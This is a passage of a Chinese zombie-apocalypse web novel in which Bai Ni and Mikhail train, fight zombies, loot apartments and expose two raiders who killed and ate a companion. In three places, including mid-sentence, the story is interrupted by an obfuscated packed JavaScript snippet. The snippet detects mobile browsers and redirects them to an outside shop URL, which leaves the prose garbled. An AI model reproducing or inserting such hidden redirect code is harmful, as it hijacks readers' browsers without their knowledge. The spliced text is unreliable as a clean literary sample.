“是我买来健身的,这不总是忘记嘛。”白睨心虚道。 留学生必备健身用具,购买的意义在购买的那一刻已经实现。 米哈伊尔无语了一会儿,经讨论后决定让白睨有氧和无氧结合来练。每天上午空腹跳绳,下午跟着米哈伊尔做无氧动作,最后再做一套有氧操。 “习惯运动后你会爱上这种感觉的,白。运动产生的内啡肽和多巴胺能让人心情愉悦,增加的血清素也可以减少焦虑。现在这环境下,人如果不断积累负能量,那距离变成丧尸也不远了。”在休息间隙,米哈伊尔尝试给她打鸡血。 白睨瘫在墙角,刘海汗湿粘在前额,双目无神,手边的水瓶倒了也不想扶,感觉自己像个homeless,“我觉得每一组动作都让我离变成丧尸更近一步。” 米哈伊尔失笑,“没这么夸张吧,而且现在强度不是很大。”说着,他用一根手指勾住哑铃抬了抬。然后他就收到了白睨的眼刀。 感觉再没力气也能把他天灵盖拧下来。 · 虽然走廊上大部分的房间都打开了,但剩下除了打不开的房间,还有几间有丧尸的房间。这种房间没被劫掠者抢过,说不定还剩有物资。 二人都穿上了长袖冲锋衣,白睨还给自己的脖子裹上了丝巾;武器上,白睨选择了棒球棍,米哈伊尔拿起了平底锅。 “待在我后面,小心一点。”米哈伊尔把手放在门把上,嘱咐道。白睨点点头,看着门慢慢推开。 房间中央,一具青年模样的丧尸转过身,许是太久没动弹了,它的四肢发出了吱嘎吱嘎的声音。见到新鲜的肉/体,它张大嘴发出野兽般嘶吼,伸手就要扑来。 然而它还没叫完,就被砸下来的平底锅打断。 “攻击。”米哈伊尔站在它身上,抬起手臂,又一锅砸在它前额,“补刀。” 丧尸不再动弹,面部和头部惨不忍睹。米哈伊尔停下动作,站直身体,“按照这个步骤来,知道吗?” 白睨竖起大拇指,“明白。” 如他们所料,这个房间还未被搜刮过,虽然冰箱里的食材已经腐烂,但二人还是找到不少意面、酱料、罐头和零食。他们只草草检查一番,准备把另一个房间处理完再一并整理。 随后,二人来到第二扇门,这次由白睨握住门把,耳朵贴上门板。 没听见动静。但她知道里面有丧尸。 白睨的心砰砰直跳,手也有些发酸发软,但她还是深吸一口气,在心里命令自己只要看见丧尸就要立刻行动,然后一把推开门。 一个穿着睡衣的女性丧尸歪着脑袋,与她四目相对。发白的浑浊眼珠直直瞪着,黑色液体从它半腐烂的嘴角挂下来,散发出强烈的臭气。一瞬间白睨的心提到了嗓子眼,但她不会尖叫,她在恐惧时叫不出声。她所要做的就是克服四肢僵硬的应激反应。 米哈伊尔轻拍她,“快!” 实际上在他伸手时,她已经动作了。提前做过心理建设在此时驱动了她。锁定目标,一步踏前猛地挥出一棍,不巧位置偏移,砸在了丧尸肩膀上。但她迅速调整姿势,第二击紧随而至,而且力度更大,在棒球棍甩在丧尸脸上的那一刻,它的脖子连带身子都“咔啦“一声扭了过去,倒在地上。 她紧跟上前,高举棒球棍又给了它一下,完成了补刀。 白睨喘了几口气,目光紧紧盯着丧尸,只见黑色液体汩汩流出,但是身体并没有动弹,她才直起身回望米哈伊尔。对方给她比了个大拇指。 “感觉如何?” 她咽了咽口水,瞅了地上的尸体一眼,很难形容现在的心情,感觉不太真切。她的手还握着棒球棍,但是因为物理和心理的冲击,她觉得手指有些发麻。 突然,米哈伊尔瞪大了眼睛,看着她身后。 那一瞬间白睨感觉背后一寒,根本来不及多想,一下子抱头蹲下,身体往前滚去! 也是这时候她才注意到,就在身后的浴室门口出现一个半裸的男丧尸,大张着嘴,下一秒就要咬下! “哐!” 一声沉闷的铁锅与脑袋的撞击声,丧尸飞了出去,摔在墙上滚下来。 “你没事……” 话还没说完,米哈伊尔就看见白睨人还蹲在地上,却握紧棒球棍快速砸向她脚边的丧尸……的下身。 白睨一通乱砸,后面回过神来发现这里不是致命点,又爬起来对着它的脑袋一顿打。 半分钟后,白睨才喘着气,垂下了棒球棍。 米哈伊尔看着墙边那东西,扭曲了五官,莫名觉得有个地方有点痛。心里生成评估:准头不足,攻击性强。 “你没事吧?” 白睨摇摇头,脸因剧烈动作通红。平缓了一下呼吸,她用干净的半截袖口擦掉薄汗,抬眼瞥了米哈伊尔一眼,“吸取教训了,以后要检查屋里的每一扇门。” 米哈伊尔看着她贴着脸颊的刘海,又挪开眼睛,努了努嘴。 同时,白睨的目光落在房间后面的等身衣柜上。眼神示意后,二人一起慢慢靠近。 她站在柜侧,一手抓住衣柜门,看向米哈伊尔。 三、二、一—— 白睨默数三下,拉开柜门。 里面没有动静。米哈伊尔举着平底锅,嘴巴张成了O型:“哇哦——” · 有人说,人临死前要用最后一口气删除聊天记录。 而事实证明,对于情侣不一定是删聊天就行。 二人坐在地板上,看着面前的一堆东西,一时无人出声。 白睨是不知道说什么,米哈伊尔是不敢说什么。 最后还是白睨先拿起一件悬挂式全身吊带装置,绷着脸道:“这个看起来挺有用的。” 虽然不知道有用在哪里,但是感觉挺有用的。 米哈伊尔点点头,拿起一个头套,“这个材质挺结实,可以防止抓伤咬伤。” “还有这个项圈,其实可以……可以防止咬脖子。” “手铐和绳索……遇到掠夺者可能有用。” “……噗!” 人在极度无语的时候真的会笑。白睨憋不住了,这下连带着米哈伊尔也笑起来,“你笑什么?” “你笑什么我就笑什么。”白睨拿起蜡烛,脸涨得通红,“天啊,我这是在末日吗!” 米哈伊尔咳嗽了一声,“但说实在的,这些确实很有用。比如这个束缚套,材质柔软但是很牢固,紧急情况下可以当绷带用。” 白睨想了想,“有道理。束缚套和蜡烛放在我房间里,其他的收拾进四号房。” 除去奇怪的东西,二人在这个房间也找到一些食物和生活用品,包括橱柜里的两瓶红酒还有冰箱里四盒冷冻牛排。 “他们还挺会享受的。” 白睨宝贝地拿出牛排,“不是伏特加你是不是挺失望的?” “不要刻板印象。”米哈伊尔一手握一瓶红酒,“但不得不说,是。说我没品也好,我更喜欢伏特加那股冲劲。” “我可没要嘲笑你,”白睨和食物放进一个袋子,方便拎回自己房间,“我不喝酒,不懂这些。” “一点也不喝?” “一点也不喝。不喜欢酒精的味道,也不喜欢不清醒的感觉。” “你的话,好像不奇怪。”米哈伊尔随着她出去。 白睨把两份牛排存在冰箱里,剩下两份拆开解冻。这段时间里,他们清理了房间,把垃圾从窗户丢出去,然后将找到的意面、冷冻披萨、巧克力、坚果都转移回白睨的房间;牙膏、沐浴露、洗衣凝珠、香水等物品整理进一号房;卫生棉条、月经杯等物品整理进二号房;剃须泡沫、剃须刀等物品整理进三号房;衣柜里有一些小挎包,没什么用,但白睨还是把它们和锅、刀叉、运动腰包等一起放进四号房,书籍、备用枕套和备用被单整理进五号房。 在白睨用厨房纸擦干牛排水分时,米哈伊尔已经迫不及待地倒了一杯红酒,喝了一口,“真不错,你真的不来一点吗?” “不了。你可千万别喝醉,不然丧尸来的时候我只能丢下你跑了。” 米哈伊尔咧嘴一笑,“可别小瞧我,一杯红酒可放不倒我。” 白睨拿出电压锅,倒入水先煮着。接着她往两块牛排上撒上盐和黑胡椒,大平底锅加热,在锅底刷上油。等油冒烟的时候,她放入牛排,打开油烟机。同时看了一下,电压锅里的水已经沸腾,于是倒入螺旋意面和少许油,搅拌。 平底锅里油脂轻轻沸腾,发出滋滋的声响,很快,粉嫩的肉变成了红棕色,锅里飘出诱人的焦香。 米哈伊尔靠在椅背上,又抿了一口红酒,“太香了,白,你不考虑开一家末日餐馆吗?” “末日餐馆?招待丧尸吗?”她扯了扯嘴角,“或者把丧尸做成肉排?” “噢,f**!真恶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742288|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心!”米哈伊尔做了个哭笑不得的表情。 这还没完,白睨一边给牛排翻面,一边给他讲了孙二娘的故事。听了人肉馒头那一段,米哈伊尔抹了一把脸,“为什么要在香喷喷的牛排旁边讲这个恐怖故事?你简直是恶魔。” 白睨哈哈一笑,把煎好的牛排摆进盘子里,然后把意面沥水,倒进留有牛油的平底锅,加酱料慢煮一会儿出锅。 两盘香喷喷的牛排配意面摆在吧台上,白睨给自己泡了一杯茶包果茶,举起杯子,“干杯。” 红酒杯和马克杯轻轻碰撞,发出清脆的声响。“为我们的末日豪华套餐干杯!” 清爽的水果茶下喉,白睨持起刀叉切下一块牛排,放进嘴里。尽管牛排是冷冻肉,可在末日背景下,冷冻肉已然算是新鲜的食材。他们开始消耗大米、干货和零食等不方便携带的东西,一切都按照计划进行。 但是计划的终点是什么呢? 对于如何离开这个世界,她依然没有头绪。这些天她一直在想米哈伊尔对A&S表现出的异常和他的身份,结合一般剧本走向,这是不是意味着这场危机和A&S公司有关? 好熟悉的剧本,估计就是A&S的新产品化学反应出了会导致人异变的成分,而米哈伊尔则是A&S的雇员,在发现不对劲后逃离了公司。 想着,她瞥了一眼正在大快朵颐的米哈伊尔,终究按捺不住,生硬地开口: “对了,你有这场危机的内幕消息吗?” 米哈伊尔停下动作,抬头,“什么?” “你不是说你是行业里的名人吗,”白睨捏搓大拇指,“难道一点小道消息都没有” “哼……”米哈盯着她看了几秒,突然冷哼一声,“我看你是抓心挠肝很久了,现在终于忍不住了。” “哪有的事。” “告诉你也无妨,反正这世界完蛋了。”他用叉子指了指书桌上的保健品瓶子,“半个月前我接到了一项关于A&S公司的紧急委托,让我去把旗下产品ReVita-Z的资料偷出来。” “然后?” “过程挺复杂,但直觉告诉我,这场灾难跟它脱不了干系。可惜在证据到手前,局面就失控了。” 白睨沉思。或许……这就是主线任务?和她猜想的大差不差。如果能查出ReVita-Z的真相并推动研制疫苗,危机也许就会结束,她也能回到原来的世界了。 目前似乎只能想办法从男主这里获得更多消息…… 该说不说,系统安排这样的角色到她身边确实帮助很大,推动剧情发展的内幕人员+武力值MAX的保镖,起码能保证她不会轻易下线了。虽然,选她这样手无缚鸡之力的人来当主角,这样的操作依然很迷。 好像在看一篇新旧融合又堆砌了很多元素的网文。 白睨心不在焉地划拉着牛肉,忽然,一句话打断了她的思路: “白,你知道我叫什么吗?” “嗯?米哈伊尔,是吧?” 她淡定地低下头——偷偷调出游戏信息界面,看了一眼男主的姓氏,索罗金。有些不好意思,但她确实忘记了对方的姓氏。 米哈伊尔似笑非笑地看着她,“你有没有发现自己从没叫过我的名字?” 白睨顿了顿,“嗯?我没喊过吗?” “你只叫过我‘嘿’、‘兄弟’、‘你’。”米哈伊尔掰着手指头,最后作痛心状,“咱俩明明并肩作战这么久了,居然连称呼都没有?” “咳咳……你的名字,有一点点绕口。”她尝试狡辩,“……下次一定。” “当然,你要礼尚往来啊。你看,我都有喊你的名字,还给你透露了这么多内部消息。”米哈伊尔收起夸张地动作,点了点头,“有警惕心是好事,我承认我也对你有些戒备,但我还是希望我们能在末日成为朋友。” 白睨用马克杯碰了一下他的酒杯,张开嘴,但那一瞬间又忘记他的姓氏了,“好吧,敬我的搭档米哈伊尔,敬我第一次叫他的名字。” 清脆的碰杯声。 “这是一个里程碑,不是吗?” 米哈伊尔喝了一口红酒。他看着仍是清醒的,但在酒精的作用下兴致有些高,说了不少话。虽然他平时话也不算少,但是白睨能看出来今晚他格外高兴。白睨笑着摇了摇头。这也是她不喜欢喝酒的原因,人容易在微醺时突破心理门槛,这种不受控的感觉让她不安。 只要微醺的人不是她就行。 她看着马克杯里摇晃的柠檬干,在浸泡后舒展开许多,却还是蔫蔫的样子。 或许,米哈伊尔会成为她的朋友,她的搭档,她并肩作战的战友。 可他们终究不在一个维度。她是一定要回去的。 5. 三号走廊 危机爆发第六周,气温升高。这里的夏天极少高温,但是在没有空调的情况下依然会感到闷热,尤其今年的高温似乎比往年来得更早。 “我觉得我们公寓是一个烟熏炉,整个世界是一个巨大的垃圾桶。”米哈伊尔瘫在沙发上,“我被臭味包围了,我要被淹入味了。” 白睨拿着棉花味空气清新剂朝他喷了喷,“如果丧尸嗅觉敏感的话,这也是件好事。现在它们的味道可比人类的大多了。” “如果冬天就不会那么臭了。” “冬天……”白睨灵光一现,“你知道腌海雀吗?因纽特人会把一堆海鸟包裹在海豹体内发酵数月,拿出来食用肉和内脏。” “……你的思维可以不要那么跳跃吗?”米哈伊尔面色扭曲。 经过一段时间的锻炼,米哈伊尔提议可以在锻炼的同时进行实战训练,顺便可以搜刮物资。因为似乎比起训练,白睨对实战更跃跃欲试。因此他们把目光投向了这层楼的其他走廊,也就是二号和三号走廊。 气温实在不太凉爽,但是穿太少又不安全。白睨上身穿了长袖瑜伽服和防晒服,下身穿了薄款长裤配小腿袜,搭运动鞋。这些都很正常,直到米哈伊尔见她出去了一趟,回来的时候手里拿着两个宽项圈。 “……你真的要戴这个?” 白睨不以为意,对着镜子把项圈扣在颈部,“很有用啊,总比围围巾舒服吧?” 说着,她指了指另一个项圈,“你要吗?” 米哈伊尔疯狂摇头,“与其戴那个,我还是送丧尸一口吧。” “可别,你如果变丧尸了一定很难杀。” 米哈伊尔在三号房选了一套衣服:棉T恤,长袖工装衬衫外套和工装裤。他掂量了一下平底锅——当然不是他们做饭用的那柄,叹了一口气,“什么时候我们能找到些像样的武器?” “比如什么?克耳特1911?A/K47?”白睨拎起棒球棍,“我猜我为什么来E国留学而不是A国?” · 二人站在通往电梯的防火门前,阻门器已经被拿下,透过报纸,他们隐隐约约看见门后徘徊的身影。 “等会儿我们一起拉沙发,不要太着急。” 白睨点点头,和他肩并肩微微屈身,抓住沙发的一起往后拉。 沙发移动的声响很快引起了丧尸的注意,几只丧尸争先恐后地挤在门后,发出阵阵嘶吼,一只丧尸率先挤进半个身子,手臂往他们的方向挥动。 “等一等,白。”米哈伊尔停下动作,眼睛眯起,举起锅对着钻出半个身子的丧尸一阵猛敲,每敲一下白睨闭一下眼,张开眼时白墙上就多了一道污渍,几下敲击后丧尸瘫倒在地上,又一只新丧尸卡进了门缝里。 反复几遍后,门缝里像叠罗汉一样堆满了丧尸。白睨又把沙发往后拉了拉,防火门像饮料机一样又掉出两只丧尸。 几分钟后,米哈伊尔甩了甩手腕,把血淋淋的平底锅暂时搁置在沙发上。“嘿,你别说,这锅的质量怪好的。” 门里卡了六七只丧尸的尸体,门板、沙发和墙壁上溅满血污。米哈伊尔叉着腰,一脸满意地观赏着自己的战果。 “愣着做什么呢?”白睨像疏通马桶一样,用棒球棍捅着堵住的尸体,“快把这扇门打开吧。” 二人把沙发搬开,又把尸体堆到小厅一角,然后推门进入二号走廊。这条走廊的设计与白睨房间所在的一号走廊几乎没有区别,因此二人依然是打算在进去后将楼梯间的防火门堵上。 “噶……吼……”走廊上,一只丧尸抬起头看向这边。 “这个我来。”白睨跃跃欲试,握紧棒球棍,双腿岔开略微压低身子。米哈伊尔点头,往旁边退开一大步。 丧尸冲过来的那一刻,白睨绷紧全身力量,一个漂亮的甩棍动作,“砰”地一声把丧尸打到一边!很快,趁丧尸没有动作,她抡棒过头顶重重砸下。 “呼……”她长出一口气,对米哈伊尔比了个大拇指,“内啡肽和多巴胺确实有效。” 米哈伊尔挠了挠脸颊,“我能说实话吗,白?我感觉这不是内啡肽和多巴胺的作用……” 许是因为大部分的丧尸刚才都被吸引到小厅了,因此这条走廊里并没有多少丧尸。白睨与米哈伊尔合力挪出沙发堵在门后,对房间进行了简单检查,发现这条走廊同样是没有活人,且许多房间都有被闯入的痕迹。 “你觉得这是团伙所为吗?”白睨对着尸体皱眉。 “看手法是的。”米哈伊尔关上柜门,“他们不一定离开这栋公寓了,我们得小心点。” “如果我们这是电视剧,到这里该掉收视率了。”白睨嘀嘀咕咕地出了门,“怎么每个丧尸题材总要写人类勾心斗角?” 他们走出二号走廊,来到三号走廊门外。不同寻常的是,这边的防火门后堵了沙发,但是走廊上却有很多丧尸。 几只丧尸趴在沙发上,在门上抓挠,却因为单向门的缘故没法冲出来。 白睨抿了抿嘴,一脸同情,“最害怕的事发生了,把门堵上,结果里面出了感染者。” “嗯哼。”米哈伊尔表示赞同,“里面会有幸存者吗?” “不清楚……我们要进去吗?” 二人对视一眼。进入这条走廊目前来看并不是很难,但也不是全无风险;逞英雄的事不碰上还好,碰上了,对里面可能存在的幸存者坐视不管,难免有些良心不安。 最后米哈伊尔叹一口气,“找个什么东西撞门吧,小心一点。” 白睨找来一张椅子。他俩把椅子放在地上,合力往门里顶。这自然要费不少劲,本来门后就有沙发顶着,加上丧尸更是死沉。好在米哈伊尔力气大,白睨还没怎么用力,门就被推开了一半。 匍匐在沙发上的丧尸见到新鲜血肉暴露在眼前,挣扎得更加疯狂,竟有一只一跃而出,直接扑向米哈伊尔。 米哈伊尔反应迅速,抡圆平底锅把它砸到地上,三下五除二解决掉它,然后抬起头,朝着后面涌出的丧尸猛砸几下,把它们打得脑浆飞溅没了动静。 白睨咋舌,丧尸毕竟是人体,力度不够便无法破坏大脑,所以也算是个体力活。她自己的话是无法连续击打那么多丧尸的,而米哈伊尔看起来却游刃有余,该说不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742289|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,不愧是系统生成的大力士男主吗? “可以了,白。”米哈伊尔把平底锅在丧尸衣服上蹭了蹭,“我们把道路清理出来吧。” 几乎是米哈伊尔话音刚落,走廊上的一扇门轻轻打开,露出一条缝。一个女人的声音弱弱传出,“是幸存者吗……?” · 一个房间里,女人坐在椅子上,床上还坐了一个男人,但是他的腰部有伤,是用布条包扎的。 “我的名字是拉图索,他是约翰尼。”女人神情不安,手一直在颤抖。据她所说,因之前走廊上有住户被掠夺者袭击,几家邻居就把防火门都堵上了。可是物资总是会耗完,所以他们组成队伍轮流外出搜集食物。 一周前,一名队员在搜集时被丧尸抓伤但隐瞒了伤情,在回来后突然尸变,导致不少人被伤到。混乱中约翰尼被其他人的利器捅伤,好在他们躲进这个房间才幸免于难。 可能是回忆起现场恐怖血腥的画面,拉图索的眼泪不住流下,“太可怕了,我、我第一次这么近看到丧尸吃人,血到处都是……当时我们所有人都吓坏了,大家都没反应过来……” 男人一脸疲倦地说:“你们也是这层楼的住户吗?你们那边还有食物和药物吗?” 白睨接过话,指了指天花板的方向,“我们是其他楼层的住户,也是因为物资不够了才来这层楼搜索。如果你们需要吃的,等我们找到食物后可以分你们一些。” “既然走廊上的丧尸已经被清理了,我们一起行动吧。”约翰尼站起身,披上外套,“旁边几个房间里应该有剩下的储备食物。” “行。”米哈伊尔扫了一眼这个单间,有些杂乱,但还算干净。 拉图索站在白睨身边,轻声问她:“你们是邻居吗?” 白睨点头,“我们是同一层的邻居,现在结伴行动。”她偷偷瞥向米哈伊尔,二人心照不宣交换了个眼神。 这个走廊里大部分房门都没锁,之前的搜集队伍确实找到不少物资,根据白睨的闲着没事就在课后逛超市的经验,其中大部分是E超的货物,也有不少C超和K超的,种类丰富,来源多样。 “你们之前是去哪里搜物资的?”米哈伊尔往袋子里装东西。 “这层楼的另外两条走廊,但是被劫掠者抢的不剩什么了。后来去楼下搜了几间房,然后就发生了意外。”约翰尼嚼着手里的巧克力棒。 拉图索走到白睨身边,“我们分成两队吧,这样能快点把物资搜集起来?” “行。我和他一队,搜左排的房间。”白睨指着米哈伊尔,“你们一队,搜右边的房间,如何?” “这……约翰尼受伤了,我不太擅长战斗,我们一组会不会不太安全?”拉图索有些犹豫,“我可以和你一组吗?” “小心一点就没事,如果有异常,你们就大喊,我们马上过来。” 见白睨坚持如此,拉图索只能接受这样的提案。他俩一人一根金属棍,走进右边的房间,而白睨与米哈伊尔去了左边的房间。 刚锁上门,白睨就转过来,压低声音: “我觉得他们在说谎。” 6. 新增支线 米哈伊尔一边打开柜门检查,一边压低声音回应:“你也觉得?那个女人哭的太假了。” “我倒不是从这点发现的。”白睨走到他身边,“如果他们外出搜集物资是在那群掠夺者搜集过之后,那应该找不到多少食物。本身就没什么储备的话,他们是怎么撑过这两周的呢?他们看着可不像饿了很久的样子。” 接着道:“当然,不排除他们房间里就有足够物资的可能,可是你还记得之前来撬我们房门的劫掠者吗? “你是怀疑他们就是那群劫掠者?” “有可能吧,我们最近都没听到劫掠者的动静了,这和他们被困的时间也一致。” “如果他们真的是劫掠者,和他们同住一层可不妙。”米哈伊尔把橱柜里的食物堆放在台面上,转过头来,“进入那个房间的时候,你有闻到什么味道吗?” “什么味道?” 他意味深长地摸了摸下巴,“嗯……我有个八九不离十的猜测。” 白睨微挑眉,未等她询问他有什么想法,米哈伊尔朝她伸出手,“借棒球棍一用。” “……情况还没确定,直接处理是不是太草率了?” 米哈伊尔轻快地抢过棒球棍,在手上颠了颠重量,“我可没说要砸他们脑袋。” 只见他转开门把手,悄无声息地摸到拉图索和约翰尼所在的房间外。从房门后传出轻微而模糊的说话声,似乎也在讨论什么。 米哈伊尔举起棒球棍。 “砰!砰!” 两下之后,门把完全变形。 像是恶作剧完成了一般,米哈伊尔带着坏笑转向白睨,同时房间里传出尖叫: “谁——”门把手在强力下疯狂震动,但并没有转开。 然后是拉图索慌张的声音:“是你们吗?是白吗?是你们在外面吗?” “该死!门锁坏了!”约翰尼怒骂。 “安静地待一会儿吧。”米哈伊尔欠揍地用手指敲了敲门板,转向白睨,“走吧,华生。” 重新回到那个房间。这儿比白睨的房间稍大一点,多了放茶几的区域,与电视和沙发凑成更宽敞的客厅区域,别的倒是没有太大差别。台面上没什么杂物,地上没有脏污和灰尘,看起来有认真整理过。 米哈伊尔吸了吸鼻子。 “你到底闻到了什么?” “很熟悉的味道。”米哈伊尔打开水槽下面的橱柜,里面只放了个空垃圾桶,湿漉漉的,似乎清洗过。“很淡,有点臭。” 闻言,白睨小心翼翼地推开入口处的浴室门。 浴室,没有危险。 衣柜,也没有危险。 把两个最容易藏人的地方搜索过,她稍稍放下心来,“起码他们没有在养丧尸。” “他们不把丧尸吃了就不错了。”米哈伊尔扫过空空的台面,“房间这么干净,都吃些什么撑到现在?” 二人的视线落在冰箱上。 大步上前,米哈伊尔一把打开冰箱,倒吸了一口气。 “白,过来看看。” “干什么干什么,”白睨反而倒退了一步,“别说里面有一个人头啊!” “收集人头有什么用,又不能吃。” 白睨的心刚放下去又悬了起来,“别把这种东西说得和鸭脖似的!”小步靠近冰箱,眯起眼睛往里望去,然后她看见,冷冻区和冷藏区里,挤满了一大块一大块用保鲜膜包裹着的淡红色的肉。 “……我不觉得现在能搜刮到这么新鲜的猪肉。” 米哈伊尔伸手戳了戳冷藏区的肉块,触感柔软,“好吧,看来这房间里确实养了两只‘丧尸’。” 白睨看着门架区两只苍白的手掌,一阵反胃。 而米哈伊尔还有闲心仔细观察肉块的纹理,“大概是个男人——健壮的成年男性。常年锻炼,肌肉不错。” “你是汉尼拔吗还鉴赏上了?” 就在这时候,白睨感觉从口袋里传来微弱震动。游戏系统有了新消息。 趁米哈伊尔注意力还在冰箱上时,她悄悄撤到厕所里,拿出手机。消息栏出现一条消息: [PhantoChat:文本剧情已更新,新增【支线·拉图索】] 她打开PhantoChat的剧情文本模块,看到原本的单一文本界面变成了两个模块,一个显示她的头像,另一个显示图拉索的头像。点击图拉索的头像,一串串文本陆续弹出: [“怎么办,他们一定发现了!”*拉图索崩溃地揪着长发,在房间里绕圈乱走,*“早知道今天能得救,前天……只要再撑两天就好了!”] [“闭嘴吧!”*约翰尼一拍吧台桌,他盯着拉图索,眼里满是烦躁和怒火,*“我们难道是先知吗?知道什么时候会遇到其他人?!而且如果照计划进行,你先控制住那个女的再和我汇合,怎么会搞成这样!”] [*拉图索倏地停下脚步,转头怒瞪他:*“是我不想吗?他们屁股黏在一起分都分不开,我怎么让她和我行动?”] [“那你不会想办法?”*约翰尼咬紧后槽牙,*“软磨硬泡?装可怜?你不是最擅长这个吗?怎么被那大块头瞥一眼就没声了?”] [“那样只会更加可疑!”] [“所以就是因为你坏了我们的计划!”*约翰尼倏地站起来,逼近拉图索,压低声音,*“你知不知道我们现在是什么局面?!”] [*拉图索后退一步,背贴在墙壁上,面色苍白,声音颤抖,*“我坏了计划?如果最开始不是我先提出的建议,我们两个根本活不到现在!”] [*约翰尼的脚步顿住了,瞪大眼睛,恶狠狠地瞪着她。*] [“我软磨硬泡装可怜?如果不是我提醒你曼德和我们呆在一个房间有多危险,现在在冰箱里的就是你和我!你以为我想吗?”*拉图索控诉般地尖叫起来,“你比我好多少?真要逃命,瘸着个腿你能逃得掉?”*] [*一个拳头重重砸在墙上,正好擦过拉图索的脸。约翰尼贴近她,一字一顿,充满怒火地道:*“我没用?是我一棒一棒砸烂他的脑袋,缩在浴室里把他剁成肉块!你以为我不知道你在借刀杀人?”] 白睨读着屏幕上不断刷新的信息,渐渐拼凑出了事情原貌:拉图索、约翰尼和一个叫曼德的男人都是劫掠者队伍的成员,两周前,一名成员被感染,当走廊里陷入混乱时,他们三个躲进这房间逃过一劫,可惜这里原本不用作储藏,没什么物资,他们很快弹尽粮绝。担心最后会演变成“弱肉强食”的局面,拉图索提议先下手为强,让约翰尼趁曼德睡觉时砸死了他,之后两人分食了他的肉。 白睨陷入沉思。 说实话,她不清楚曼德是个怎样的人,也不知道自己在同样极端情况下会如何选择,所以对他们杀人的举动她无法评价。但是,有个更现实的问题摆在她面前,就是这两个人已经有过食人的行为,把他们留在身边是否有风险? 据她所知,这只劫掠者队伍有入室抢劫并杀人的举动。而且,在她和米哈伊尔破门救人的情况下,拉图索和约翰尼还计划挟持她以威胁米哈伊尔,并非善茬。 如果让他们留在身边,这会成为莫大的隐患。 盯着手机,终于打定主意后,她才从浴室出来。刚推开门,就迎面撞上米哈伊尔。 他挑眉,“你在里面做什么呢?” “我想如果要分尸的话,一般会选择浴室吧?”白睨对上他的眼睛,含糊地指了指浴缸,一脸随意,“我想在浴室里找找痕迹。但没找到。” 不知米哈伊尔是否相信,但他没有纠结这个话题,道:“我在床垫上发现了血迹,呃,那床垫下面臭死了。估计他们是趁对方睡觉时下的手。” 白睨露出惊讶的神情,没想到才这么一会儿,米哈伊尔就发现了真相。 他继续道:“无论如何我不赞成留下他们,人越多越不安全。而且,他们吃人的事是坐实了,说不定哪天他们吃腻了面包想再尝尝肉的滋味?” 白睨点点头,留下那两个人的弊端远大于利。“你想怎么做?” 米哈伊尔环手靠在墙上,耸耸肩,“只要你一声令下,我就拎锅进去砸烂他们脑袋。” ……谢谢你这么听话啊。 她无语地按了按太阳穴,最后道:“把这里吃的东西收拾一下,把他们送到楼梯那儿吧。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16742290|189694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“什么?”米哈伊尔大吃一惊。 “我们用不到那么多物资,最终不还是要离开的吗?在这里待得太久没有好处,外面的物资会被幸存者消耗完的。” “但是直接处理掉他们更省事啊,还要大费周章让他们离开?”米哈伊尔撇撇嘴,虽然不太赞成,但并没有太大情绪,“……你确定吗?” 白睨点点头。 · “碰!” 拉图索和约翰尼猛地转过头来,就见门板大力撞在墙壁上,可怜地摇曳了几下。米哈伊尔握着棒球棍大步踏进房中,挑衅地瞥了他们一眼,吓得他们缩到吧台后面。白睨也走了进来,手上拎着两个袋子。 “白!”拉图索扒着高脚凳,泪汪汪地看向她,“我,我能解释!” “你能解释?”米哈伊尔用棒球棍碰了碰门板,“那就来解释一下冰箱里的东西吧,我想你们吃的应该不是普罗米修斯?” 房间里一下子安静了。 却是白睨惊奇地开了口,“你读书的啊?” “……你有点冒犯了。” 拉图索犹犹豫豫地开口,“那里面是……我们的同伴,他受了很严重的伤,我们又没有食物……”她的语气很快变为难过的抽噎,眼泪簌簌而下,“我发誓,那时候他已经重伤走了!我们也不想的……” 这眼泪说下就下,白睨简直叹为观止。要不是之前看了剧情,这半真半假的说辞她真的会信! 多说无益,白睨走上前,把两个鼓鼓的袋子放在地上,里面的水、饼干和薯片一下子滑了出来。拉图索的哭声戛然而止,约翰尼吃惊地瞪过来,反而更警戒地后撤一步。 “带着这些物资离开吧。”白睨退回米哈伊尔旁边,“另寻个落脚处。” 米哈伊尔哼了一声,“哐哐哐”地用棒球棍敲着门板,“趁我们还没改变主意前赶紧走。” 二人迟疑着,目光在白睨和米哈伊尔身上飘忽不定。但很快,拉图索把背包甩在地上,像怕对方反悔了似的疯狂把食物扫进包里。见状约翰尼也反应了过来,跟着快速装食物,又抬起头,“我的腿受伤了,起码先让我在这里养伤……” “哐当!”棒球棍重重拍在门上,发出锐利的巨响。只见米哈伊尔眯起眼睛,脖子上的青筋一跳一跳,“你说什么?” “……” 